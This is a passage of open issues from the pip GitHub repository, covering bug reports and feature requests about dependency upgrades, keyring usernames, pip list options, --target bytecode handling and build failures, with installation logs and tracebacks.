GitHub repository: pypa/pip

Issues:
issue_12545: state: open
title: Use `build` to create `pip` sdist for testing
body: Also replace a direct `setup.py` invocation in `conftest.py`.
I was not sure whether I should pin `build`, since `setuptools` was not.

user: chrysle
issue_12544: state: open
title: Upgrading packages that already fill requirements
body: ### Description

I'm getting so fed up with packages being upgraded when they are already satisfying stated requirements... 
```
Requirement already satisfied: pgx>=2.0.0 in ./env/lib/python3.10/site-packages (from -r alphazero/requirements.txt (line 1)) (2.0.1)
Requirement already satisfied: mctx in ./env/lib/python3.10/site-packages (from -r alphazero/requirements.txt (line 3)) (0.0.5)
Requirement already satisfied: typing-extensions>=4.2.0 in ./env/lib/python3.10/site-packages (from pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (4.9.0)
Requirement already satisfied: pgx-minatar==0.5.1 in ./env/lib/python3.10/site-packages (from pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (0.5.1)
Requirement already satisfied: jax>=0.4.1 in ./env/lib/python3.10/site-packages (from pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (0.4.16)
Requirement already satisfied: svgwrite in ./env/lib/python3.10/site-packages (from pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (1.4.3)
Collecting flax>=0.7.1
  Downloading flax-0.8.1-py3-none-any.whl (677 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 677.6/677.6 KB 54.3 MB/s eta 0:00:00
Collecting jmp>=0.0.2
  Downloading jmp-0.0.4-py3-none-any.whl (18 kB)
Requirement already satisfied: numpy>=1.18.0 in ./env/lib/python3.10/site-packages (from dm-haiku->-r alphazero/requirements.txt (line 2)) (1.26.4)
Requirement already satisfied: jaxlib>=0.1.37 in ./env/lib/python3.10/site-packages (from mctx->-r alphazero/requirements.txt (line 3)) (0.4.16+cuda12.cudnn89)
Requirement already satisfied: chex>=0.0.8 in ./env/lib/python3.10/site-packages (from mctx->-r alphazero/requirements.txt (line 3)) (0.1.85)
Collecting pydantic-core==2.16.3
  Using cached pydantic_core-2.16.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.2 MB)
Collecting annotated-types>=0.4.0
  Using cached annotated_types-0.6.0-py3-none-any.whl (12 kB)
Requirement already satisfied: toolz>=0.9.0 in ./env/lib/python3.10/site-packages (from chex>=0.0.8->mctx->-r alphazero/requirements.txt (line 3)) (0.12.1)
Requirement already satisfied: six>=1.4.0 in ./env/lib/python3.10/site-packages (from docker-pycreds>=0.4.0->wandb->-r alphazero/requirements.txt (line 5)) (1.16.0)
Collecting msgpack
  Downloading msgpack-1.0.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (530 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 530.8/530.8 KB 51.1 MB/s eta 0:00:00
Collecting jax>=0.4.1
  Downloading jax-0.4.25-py3-none-any.whl (1.8 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 41.2 MB/s eta 0:00:00
Collecting tensorstore
  Downloading tensorstore-0.1.54-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (14.2 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 14.2/14.2 MB 42.1 MB/s eta 0:00:00
Collecting rich>=11.1
  Downloading rich-13.7.0-py3-none-any.whl (240 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 240.6/240.6 KB 38.0 MB/s eta 0:00:00
Collecting orbax-checkpoint
  Downloading orbax_checkpoint-0.5.3-py3-none-any.whl (143 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 143.0/143.0 KB 27.1 MB/s eta 0:00:00
Collecting gitdb<5,>=4.0.1
  Downloading gitdb-4.0.11-py3-none-any.whl (62 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 62.7/62.7 KB 14.3 MB/s eta 0:00:00
Requirement already satisfied: opt-einsum in ./env/lib/python3.10/site-packages (from jax>=0.4.1->pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (3.3.0)
Requirement already satisfied: ml-dtypes>=0.2.0 in ./env/lib/python3.10/site-packages (from jax>=0.4.1->pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (0.3.2)
Requirement already satisfied: scipy>=1.9 in ./env/lib/python3.10/site-packages (from jax>=0.4.1->pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (1.12.0)
Using legacy 'setup.py install' for antlr4-python3-runtime, since package 'wheel' is not installed.
Installing collected packages: appdirs, antlr4-python3-runtime, zipp, urllib3, tabulate, smmap, setproctitle, PyYAML, pydantic-core, protobuf, msgpack, mdurl, jmp, importlib_resources, idna, fsspec, etils, docker-pycreds, Click, charset-normalizer, certifi, annotated-types, tensorstore, sentry-sdk, requests, pydantic, omegaconf, markdown-it-py, jax, gitdb, rich, GitPython, wandb, orbax-checkpoint, optax, flax, dm-haiku
  Running setup.py install for antlr4-python3-runtime ... done
  Attempting uninstall: jax
    Found existing installation: jax 0.4.16
    Uninstalling jax-0.4.16:
      Successfully uninstalled jax-0.4.16
Successfully installed Click-8.1.7 GitPython-3.1.42 PyYAML-6.0.1 annotated-types-0.6.0 antlr4-python3-runtime-4.9.3 appdirs-1.4.4 certifi-2024.2.2 charset-normalizer-3.3.2 dm-haiku-0.0.11 docker-pycreds-0.4.0 etils-1.7.0 flax-0.8.1 fsspec-2024.2.0 gitdb-4.0.11 idna-3.6 importlib_resources-6.1.2 jax-0.4.25 jmp-0.0.4 markdown-it-py-3.0.0 mdurl-0.1.2 msgpack-1.0.7 omegaconf-2.3.0 optax-0.1.9 orbax-checkpoint-0.5.3 protobuf-4.25.3 pydantic-2.6.2 pydantic-core-2.16.3 requests-2.31.0 rich-13.7.0 sentry-sdk-1.40.6 setproctitle-1.3.3 smmap-5.0.1 tabulate-0.9.0 tensorstore-0.1.54 urllib3-2.2.1 wandb-0.16.3 zipp-3.17.0
```
Clearly, the Jax 0.4.16 requirement is satisfied: 

```
Requirement already satisfied: jax>=0.4.1 in ./env/lib/python3.10/site-packages (from pgx>=2.0.0->-r alphazero/requirements.txt (line 1)) (0.4.16)
```

so why are we upgrading it?

```
Collecting jax>=0.4.1
  Downloading jax-0.4.25-py3-none-any.whl (1.8 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 41.2 MB/s eta 0:00:00
```

### Expected behavior

_No response_

### pip version

22.0.2

### Python version

3.10

### OS

Ubuntu

### How to Reproduce

1. pip3 install jax==0.4.16 jaxlib==0.4.16+cuda12.cudnn89 -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html
2. pip3 install pgx mctx

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: LeonEricsson
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12543: state: open
title: Configuration of username for index without enabling index
body: ### What's the problem this feature will solve?

I'm using `keyring` (with Google's plugin) via subprocess, which unfortunately means that pip doesn't get back a username. Currently this also means that one of pip/keyring prompts for a username as part of `pip install --extra-index-url https://private.pypi.example/simple/`.

I would like to be able to configure what username should be used (ideally globally), without making `pip` then also enable that index globally.

I am aware that the username can be specified in the `--extra-index-url`, however that isn't fully compatible with other tools.

### Describe the solution you'd like

It would be great if there was a way to configure what username should be used for a given index _without_ also telling pip to use that index everywhere.

The discussion at https://github.com/pypa/pip/pull/11823#discussion_r1120240001 around a `default-key-ring-user` option feels like it would work for this case, though I don't feel strongly about that particular approach.

### Alternative Solutions

I'm semi working around this by setting a username in `--extra-index-url https://username@private.pypi.example/simple/`, however this doesn't seem to be an expected approach and causes issues for other tools. Notably GitHub Dependabot's config for private PyPIs refuses urls which have a username in them (and in my case I actually need to use a different username for Dependabot anyway) and will thus add the non-username spelling to my requirements files. This workaround therefore only partially works.

### Additional context

It looks like https://github.com/pypa/pip/issues/11827 previously discussed this as part of a wider set of changes, though I'm not clear what the status of that is.

It's clear others are hitting similar issues with subprocess keyring which this feels like it would solve -- https://github.com/pypa/pip/issues/11971 for example.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: PeterJCLaw
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12540: state: open
title: Existed option --ignore-requires-python should work with pip-list also, not only with pip-install
body: ### What's the problem this feature will solve?

It looks like option was implemented for pip-install, but never for pip-list. Attempt to use it with pip-list gives an error, maybe it is not a bug, but feature...
Option is useful when we run 'pip list --outdated --verbose'. In this case we may have bunch of messages 'Link requires a different Python', all about very old versions of some packages (like numpy version 1.21.nn). These old versions of packages really do not support new Python 3.11, but it is totally useless information in most of cases. I have Python 3.11 and current numpy-1.26.4 supports current Python 3.11. 
I do need pip-list --outdated running with --verbose flag, but I don't want to see these useless warning messages.

### Describe the solution you'd like

Problem can be solved by adding option --ignore-requires-python to pip-list.
Two lines with **ignore_requires_python** can be added to  pip/_internal/commands/list.py.  

1. New line at the beginning of the function ListCommand.add_options():
    def add_options(self) -> None:
        **self.cmd_opts.add_option(cmdoptions.ignore_requires_python())**
        .......


2. In the ListCommand._build_package_builder(), call to SelectionPreferences,
additional optional parameter:
        # Pass allow_yanked=False to ignore yanked versions.
        selection_prefs = SelectionPreferences(
            allow_yanked=False,
            allow_all_prereleases=options.pre,
            **ignore_requires_python = options.ignore_requires_python,**
        )
        ............


### Alternative Solutions

Another approach can be to modify pip\_internal\index\package_finder.py: if we are looking for package update - do not care about all versions older than currently installed version of particular package. It can make it work faster. I have no idea how to do it, it looks too smart for me. Probably it is better don't even try to modify package_finder.py (at least for me).

### Additional context

Number of these warnings depends upon environment. Latest Windows+Anaconda gives bunch of such messages. Most of Linux also (Debian, Garuda, Ubuntu). No any messages from Zorin OS. Packages with messages: numpy, shiboken, pikepdf and others. Maybe some repositories just do not keep very old versions...

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: vx1920
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12539: state: open
title: Towncrier: move process section to the end
body: When doing the releases was surprised to see the process subsection at the beginning of NEWS sections.

My reasoning is that it matters less than the others to end users, so I propose to move it to the end.

user: sbidoul
labels: skip news: Does not need a NEWS file entry (eg: trivial changes)
issue_12535: state: open
title: check `conda list` before installing a package
body: ### What's the problem this feature will solve?

When my PC runs a .ipynb file that I didn't create, some files (especially those with multiple parts) have installation commands in later cells.  When I run all cells, `!pip install` or `piplite.install` commands will run if they're in a later cell.  Since I'm running within a conda environment, these commands would still install duplicative packages (except from the pypi channel).

When these commands installs a duplicative package while running all cells, there's no indication that it's doing so.  After these commands install a duplicative package, the newly installed package from pypi isn't shown in `conda list`.

### Describe the solution you'd like

I'd like `pip` and `piplite' to check `conda list` to see if the package has already been installed from other channels.

### Alternative Solutions

At least indicate that pip is (or has just finished) installing a package.

### Additional context
#8415 is out-of-scope.

### Code of Conduct
- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: rootsmusic
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12533: state: open
title: `pip` reports conflict between identical versions of the same package when installed both as editable package and and dependency of an editable package
body: ### Description

Sorry, I cannot do it more concisely than in the title :)



### Expected behavior

Installation succeeds without error

`pip` does not seem to understand that the two instances of "humanize 4.9.1.dev23 (from git+https://github.com/python-humanize/humanize#egg=humanize)" refer to exactly the same package.

### pip version

24.0

### Python version

3.12.2

### OS

Windows 11 23H2

### How to Reproduce

`pyproject.toml`
```toml
[project]
name = "Bug"
version = "0"
dependencies = [
    "humanize @ git+https://github.com/python-humanize/humanize#egg=humanize",
]
```

Then run
```
pip install -e . -e git+https://github.com/python-humanize/humanize#egg=humanize
```

### Output

INFO: pip is looking at multiple versions of bug to determine which version is compatible with other requirements. This could take a while.
ERROR: Cannot install bug==0 and humanize 4.9.1.dev23 (from git+https://github.com/python-humanize/humanize#egg=humanize) because these package versions have conflicting dependencies.        

The conflict is caused by:
    The user requested humanize 4.9.1.dev23 (from git+https://github.com/python-humanize/humanize#egg=humanize)
    bug 0 depends on humanize 4.9.1.dev23 (from git+https://github.com/python-humanize/humanize#egg=humanize)

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: bersbersbers
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12531: state: open
title: --config-settings not passing --build-option values to clang on macos
body: ### Description

`pygraphviz` cannot be installed using `--config-settings` and `--build-option`. You have to set `LDFLAGS` and `CFLAGS` environment variables.

Related to https://github.com/pygraphviz/pygraphviz/issues/398, but `pip` is not behaving as expected.

### Expected behavior

pygraphviz is installable via the recommended process

### pip version

24.0

### Python version

3.12.0

### OS

macOS Sonoma (14.1.2)

### How to Reproduce

#### Environment

<details>
<summary>Details</summary>

```
(venv) jonathankaczynski@jkaczynski-mac ~ % sysctl -n machdep.cpu.brand_string
Apple M1 Pro
(venv) jonathankaczynski@jkaczynski-mac ~ % sw_vers -productVersion
14.1.2
jonathankaczynski@jkaczynski-mac ~ % pyenv versions
  system
  2.7.18
  3.6.15
  3.7.17
  3.10.13
  3.11.6
* 3.12.0 (set by PYENV_VERSION environment variable)
jonathankaczynski@jkaczynski-mac ~ % python --version
Python 3.12.0
jonathankaczynski@jkaczynski-mac ~ % python -m pip --version
pip 24.0 from /Users/jonathankaczynski/.pyenv/versions/3.12.0/lib/python3.12/site-packages/pip (python 3.12)
```
</details>

#### Setup

```
jonathankaczynski@jkaczynski-mac ~ % python -m venv /tmp/venv
jonathankaczynski@jkaczynski-mac ~ % source /tmp/venv/bin/activate
```

#### Attempt 1

Attempting `python -m pip install pygraphviz` fails, but that's expected as homebrew put graphviz files in a non-standard location.

<details>
<summary>Details</summary>

```
(venv) jonathankaczynski@jkaczynski-mac ~ % python -m pip install pygraphviz
Looking in indexes: https://pypi.org/simple
Collecting pygraphviz
  Using cached pygraphviz-1.12.tar.gz (104 kB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Installing backend dependencies ... done
  Preparing metadata (pyproject.toml) ... done
Building wheels for collected packages: pygraphviz
  Building wheel for pygraphviz (pyproject.toml) ... error
  error: subprocess-exited-with-error

  × Building wheel for pygraphviz (pyproject.toml) did not run successfully.
  │ exit code: 1
  ╰─> [56 lines of output]
      running bdist_wheel
      running build
      running build_py
      creating build
      creating build/lib.macosx-14.1-arm64-cpython-312
      creating build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      copying pygraphviz/scraper.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      copying pygraphviz/graphviz.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      copying pygraphviz/__init__.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      copying pygraphviz/agraph.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      copying pygraphviz/testing.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      creating build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_unicode.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_scraper.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_readwrite.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_string.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/__init__.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_html.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_node_attributes.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_drawing.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_repr_mimebundle.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_subgraph.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_close.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_edge_attributes.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_clear.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_layout.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_attribute_defaults.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      copying pygraphviz/tests/test_graph.py -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz/tests
      running egg_info
      writing pygraphviz.egg-info/PKG-INFO
      writing dependency_links to pygraphviz.egg-info/dependency_links.txt
      writing top-level names to pygraphviz.egg-info/top_level.txt
      reading manifest file 'pygraphviz.egg-info/SOURCES.txt'
      reading manifest template 'MANIFEST.in'
      warning: no files found matching '*.png' under directory 'doc'
      warning: no files found matching '*.html' under directory 'doc'
      warning: no files found matching '*.txt' under directory 'doc'
      warning: no files found matching '*.css' under directory 'doc'
      warning: no previously-included files matching '*~' found anywhere in distribution
      warning: no previously-included files matching '*.pyc' found anywhere in distribution
      warning: no previously-included files matching '.svn' found anywhere in distribution
      no previously-included directories found matching 'doc/build'
      adding license file 'LICENSE'
      writing manifest file 'pygraphviz.egg-info/SOURCES.txt'
      copying pygraphviz/graphviz.i -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      copying pygraphviz/graphviz_wrap.c -> build/lib.macosx-14.1-arm64-cpython-312/pygraphviz
      running build_ext
      building 'pygraphviz._graphviz' extension
      creating build/temp.macosx-14.1-arm64-cpython-312
      creating build/temp.macosx-14.1-arm64-cpython-312/pygraphviz
      clang -fno-strict-overflow -Wsign-compare -Wunreachable-code -DNDEBUG -g -O3 -Wall -DSWIG_PYTHON_STRICT_BYTE_CHAR -I/tmp/venv/include -I/Users/jonathankaczynski/.pyenv/versions/3.12.0/include/python3.12 -c pygraphviz/graphviz_wrap.c -o build/temp.macosx-14.1-arm64-cpython-312/pygraphviz/graphviz_wrap.o
      pygraphviz/graphviz_wrap.c:3020:10: fatal error: 'graphviz/cgraph.h' file not found
      #include "graphviz/cgraph.h"
               ^~~~~~~~~~~~~~~~~~~
      1 error generated.
      error: command '/usr/bin/clang' failed with exit code 1
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
  ERROR: Failed building wheel for pygraphviz
Failed to build pygraphviz
ERROR: Could not build wheels for pygraphviz, which is required to install pyproject.toml-based projects
```
</details>

#### Attempt 2

Following the instructions on https://pygraphviz.github.io/documentation/stable/install.html, the installation still fails.

```
pip install --use-pep517 \
            --config-settings="--global-option=build_ext" \
            --config-settings="--build-option=-I$(brew --prefix graphviz)/include/" \
            --config-settings="--build-option=-L$(brew --prefix graphviz)/lib/" \
            pygraphviz
```

We don't see those build options in the clang command. Why?

```
clang -fno-strict-overflow -Wsign-compare -Wunreachable-code -DNDEBUG -g -O3 -Wall
        -DSWIG_PYTHON_STRICT_BYTE_CHAR
        -I/tmp/venv/include
        -I/Users/jonathankaczynski/.pyenv/versions/3.12.0/include/python3.12
        -c pygraphviz/graphviz_wrap.c
        -o build/temp.macosx-14.1-arm64-cpython-312/pygraphviz/graphviz_wrap.o
pygraphviz/graphviz_wrap.c:3020:10: fatal error: 'graphviz/cgraph.h' file not found
```

<details>
<summary>Details</summary>

```
(venv) jonathankaczynski@jkaczynski-mac ~ % pip install --use-pep517 \
        --config-settings="--global-option=build_ext" \
        --config-settings="--build-option=-I$(brew --prefix graphviz)/include/" \
        --config-settings="--build-option=-L$(brew --prefix graphviz)/lib/" \
        pygraphviz
Looking in indexes: https://pypi.org/simple
Collecting pygraphviz
  Using cached pygraphviz-1.12.tar.gz (104 kB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... error
  error: subprocess-exited-with-error

  × Getting requirements to build wheel did not run successfully.
  │ exit code: 1
  ╰─> [11 lines of output]
      running build_ext
      building 'pygraphviz._graphviz' extension
      creating build
      creating build/temp.macosx-14.1-arm64-cpython-312
      creating build/temp.macosx-14.1-arm64-cpython-312/pygraphviz
      clang -fno-strict-overflow -Wsign-compare -Wunreachable-code -DNDEBUG -g -O3 -Wall -DSWIG_PYTHON_STRICT_BYTE_CHAR -I/tmp/venv/include -I/Users/jonathankaczynski/.pyenv/versions/3.12.0/include/python3.12 -c pygraphviz/graphviz_wrap.c -o build/temp.macosx-14.1-arm64-cpython-312/pygraphviz/graphviz_wrap.o
      pygraphviz/graphviz_wrap.c:3020:10: fatal error: 'graphviz/cgraph.h' file not found
      #include "graphviz/cgraph.h"
               ^~~~~~~~~~~~~~~~~~~
      1 error generated.
      error: command '/usr/bin/clang' failed with exit code 1
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```
</details>

#### Attempt 3

Only when we set the `CFLAGS` and `LDFLAGS` environment variables can we successfully install graphviz. This unblocks us, but it's not using the best practices, right?

<details>
<summary>Details</summary>

```
(venv) jonathankaczynski@jkaczynski-mac ~ % LDFLAGS="-L$(brew --prefix graphviz)/lib/" \
        CFLAGS="-I$(brew --prefix graphviz)/include/" \
        pip install pygraphviz
Looking in indexes: https://pypi.org/simple
Collecting pygraphviz
  Using cached pygraphviz-1.12.tar.gz (104 kB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Installing backend dependencies ... done
  Preparing metadata (pyproject.toml) ... done
Building wheels for collected packages: pygraphviz
  Building wheel for pygraphviz (pyproject.toml) ... done
  Created wheel for pygraphviz: filename=pygraphviz-1.12-cp312-cp312-macosx_14_0_arm64.whl size=92978 sha256=1e47b2e9c2fb8d2a5dfac7f103e34f52da537ca3fa94e9dd35028230995029ef
  Stored in directory: /Users/jonathankaczynski/Library/Caches/pip/wheels/3d/75/00/f9fa413fd48cfd0b0876bc81c475d6adfe7e3df369a15febf4
Successfully built pygraphviz
Installing collected packages: pygraphviz
Successfully installed pygraphviz-1.12
```
</details>

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).


user: jmkacz
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12527: state: open
title: pip install --target refuses to colocate bytecode
body: ### Description

Unlike a normal pip install into a venv, or a pip install with custom --root and/or --prefix, using `pip install --target` refused to colocate bytecode in a `__pycache__` directory.

```
$ pip install --target t threadpoolctl
Looking in indexes: https://pypi.org/pypi/
Collecting threadpoolctl
  Downloading threadpoolctl-3.3.0-py3-none-any.whl (17 kB)
Installing collected packages: threadpoolctl
Successfully installed threadpoolctl-3.3.0
$ ls t/__pycache__
threadpoolctl.cpython-312.pyc
```

The first install gets the bytecode dir.

A subsequent install will not lay down the .pyc, although it does put the .py sources.

```
$ pip install --target t cython
Looking in indexes: https://pypi.org/pypi/
Collecting cython
  Downloading Cython-3.0.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (3.5 MB)
Installing collected packages: cython
Successfully installed cython-3.0.8
WARNING: Target directory /tmp/issue/t/__pycache__ already exists. Specify --upgrade to force replacement.
$ ls t/__pycache__
threadpoolctl.cpython-312.pyc
```

It also records in the RECORD file that the .pyc file was created, although it never was.

```
$ grep "^__pycache__" t/Cython-3.0.8.dist-info/RECORD
__pycache__/cython.cpython-312.pyc,,
$ stat __pycache__/cython.cpython-312.pyc
stat: cannot statx '__pycache__/cython.cpython-312.pyc': No such file or directory
```

Using `--upgrade`, as the WARNING log event suggests, does create the bytecode, but it blows away bytecode from other installed packages (i.e. it clobbered the existing `threadpoolctl.cpython-312.pyc`).

```
$ pip install --upgrade --target t cython
Looking in indexes: https://pypi.org/pypi/
Collecting cython
  Using cached Cython-3.0.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (3.5 MB)
Installing collected packages: cython
Successfully installed cython-3.0.8
$ ls t/__pycache__
cython.cpython-312.pyc
```


### Expected behavior

After 

```
pip install --target t cython
pip install --target t threadpoolctl
```

Both `cython.cpython-312.pyc` and `threadpoolctl.cpython-312.pyc` should co-exist in `t/__pycache__`, and the installer should not make any warnings.

**Existing workaround:** Installing in one invocation works as expected

```
pip install --target t cython threadpoolctl
```


### pip version

24.0

### Python version

3.12

### OS

Linux

### How to Reproduce

Install any two packages which create top-level modules (such as cython.py and threadpoolctl.py) when using pip install --target option.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: wimglenn
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12526: state: open
title: Add packse (Python packaging scenarios) to Pip's test suite
body: ### What's the problem this feature will solve?

It seems astral has spun out a specific repository for Python packaging scenarios: https://github.com/zanieb/packse

### Describe the solution you'd like

Perhaps all these scenarios are already covered by Pip, but it seems like it would do no harm to run these during testing?

### Alternative Solutions

Analyse and convert these manually to Pip's test suite

### Additional context

I only just found out about this repo, so I don't know what the lift is to try and use it for Pip testing.

But I would be happy to investigate and see if I can make a PR some time unless there is major objection from Pip devs. Would be at least a couple of months until I could spend time on this, so I'm not volunteering myself to lead this immediately. 

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: notatallshaw
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12525: state: open
title: Issue during installation process pip install ./diff-gaussian-rasterization
body: ### Description

Hello,

I am having issues during installation process
like this "pip install  ./diff-gaussian-rasterization"

then also tried this one:
(venv) user@host:~/projects/dreamgaussian$ pip install --use-pep517 ./diff-gaussian-rasterization
Processing ./diff-gaussian-rasterization
  Installing build dependencies ... done
  Getting requirements to build wheel ... error
  error: subprocess-exited-with-error

  × Getting requirements to build wheel did not run successfully.
  │ exit code: 1
  ╰─> [20 lines of output]
      Traceback (most recent call last):
        File "/home/socket/projects/dreamgaussian/venv/lib/python3.11/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 353, in <module>
          main()
        File "/home/socket/projects/dreamgaussian/venv/lib/python3.11/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 335, in main
          json_out['return_val'] = hook(**hook_input['kwargs'])
                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        File "/home/socket/projects/dreamgaussian/venv/lib/python3.11/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 118, in get_requires_for_build_wheel
          return hook(config_settings)
                 ^^^^^^^^^^^^^^^^^^^^^
        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 325, in get_requires_for_build_wheel
          return self._get_build_requires(config_settings, requirements=['wheel'])
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 295, in _get_build_requires
          self.run_setup()
        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 480, in run_setup
          super().run_setup(setup_script=setup_script)
        File "/tmp/pip-build-env-9phva4mg/overlay/lib/python3.11/site-packages/setuptools/build_meta.py", line 311, in run_setup
          exec(code, locals())
        File "<string>", line 13, in <module>
      ModuleNotFoundError: No module named 'torch'
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.


### Expected behavior

Installation continuation

### pip version

23.0.1

### Python version

3.11.4

### OS

Ubuntu 23.04

### How to Reproduce

Clone the repo go thru the installation process and in the step below I am getting error:
 pip install --use-pep517 ./diff-gaussian-rasterization

### Output

(venv) user@host:~/projects/dreamgaussian$ pip install --use-pep517 ./diff-gaussian-rasterization
Processing ./diff-gaussian-rasterization
  Installing build dependencies ... done
  Getting requirements to build wheel ... error
  error: subprocess-exited-with-error

  × Getting requirements to build wheel did not run successfully.
  │ exit code: 1
  ╰─> [20 lines of output]
      Traceback (most recent call last):
        File "/home/socket/projects/dreamgaussian/venv/lib/python3.11/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 353, in <module>
          main()
        File "/home/socket/projects/dreamgaussian/venv/lib/python3.11/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 335, in main
          json_out['return_val'] = hook(**hook_input['kwargs'])
                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        File "/home/socket/projects/dreamgaussian/venv/lib/python3.11/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py", line 118, in get_requires_for_build_wheel
          return hook(config_settings)
                 ^^^^^^^^^^^^^^^^^^^^^
